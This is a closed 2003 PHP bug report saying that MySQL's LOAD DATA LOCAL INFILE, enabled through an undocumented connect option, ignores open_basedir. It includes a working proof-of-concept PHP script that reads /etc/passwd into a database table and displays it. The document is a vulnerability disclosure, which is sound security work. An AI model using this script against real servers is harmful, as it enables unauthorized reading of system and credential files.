LOAD DATA LOCAL isn't respecting open_basedir
| Bug #23779 | LOAD DATA LOCAL isn't respecting open_basedir | ||||
|---|---|---|---|---|---|
| Submitted: | 2003-05-23 08:49 UTC | Modified: | 2004-02-03 14:53 UTC | ||
| From: | php at jkt dot wz dot cz | Assigned: | georg (profile) | ||
| Status: | Closed | Package: | MySQL related | ||
| PHP Version: | 4.3.3-dev | OS: | any | ||
| Private report: | No | CVE-ID: | None | ||
[2003-05-23 08:49 UTC] php at jkt dot wz dot cz
i'm using php/4.3.0 (i haven't access to newer version), mysql/3.23.49 or 4.0.11-gamma; i haven't noticed any changes in cvs changelog [http://cvs.php.net/co.php/php4/ChangeLog?login=2&r=1.1323] if you made a connection with mysql_connect() and specify 128 as fifth parameter (options), you can perform sql LOAD DATA LOCAL INFILE statements. the file accesses are made by mysql client library, so you can access any file which webserver process can access to, IGNORING open_basedir option! (and perhaps also safe-mode uid/gid checks, i don't know...) test script: $user='**'; $pass='**'; $host='**'; $db='**'; $table='files'; $filename='/etc/passwd'; $line_term='-----------[line_terminator]------------'; $m=mysql_connect($host, $user, $pass, false, 128); // connect with MYSQL_OPT_LOCAL_INFILE (in php manual undocumented) option mysql_select_db($db, $m); mysql_query("create table if not exists $table (str text not null)", $m); // create our table mysql_query('load data local infile "'.mysql_escape_string($filename).'" into table '.$table.' lines terminated by "'.mysql_escape_string($line_term).'"'); // upload file echo "ok, upload success ;-)\n"; $res=mysql_query("select * from $table", $m); // verify & display echo '<pre>'; while($line=mysql_fetch_assoc($res)) { echo htmlspecialchars($line['str']); } echo '</pre>'; mysql_query('truncate table '.$table, $m); echo 'have a nice day...';
Patches
Pull Requests
History
AllCommentsChangesGit/SVN commits
[2003-05-23 19:02 UTC] sniper@php.net
[2003-05-23 19:10 UTC] sniper@php.net
[2003-05-24 01:34 UTC] georg@php.net
[2003-05-27 02:53 UTC] php at jkt dot wz dot cz
[2003-05-30 08:00 UTC] georg@php.net
[2003-06-03 06:46 UTC] georg@php.net
[2004-02-03 13:54 UTC] php at jkt dot wz dot cz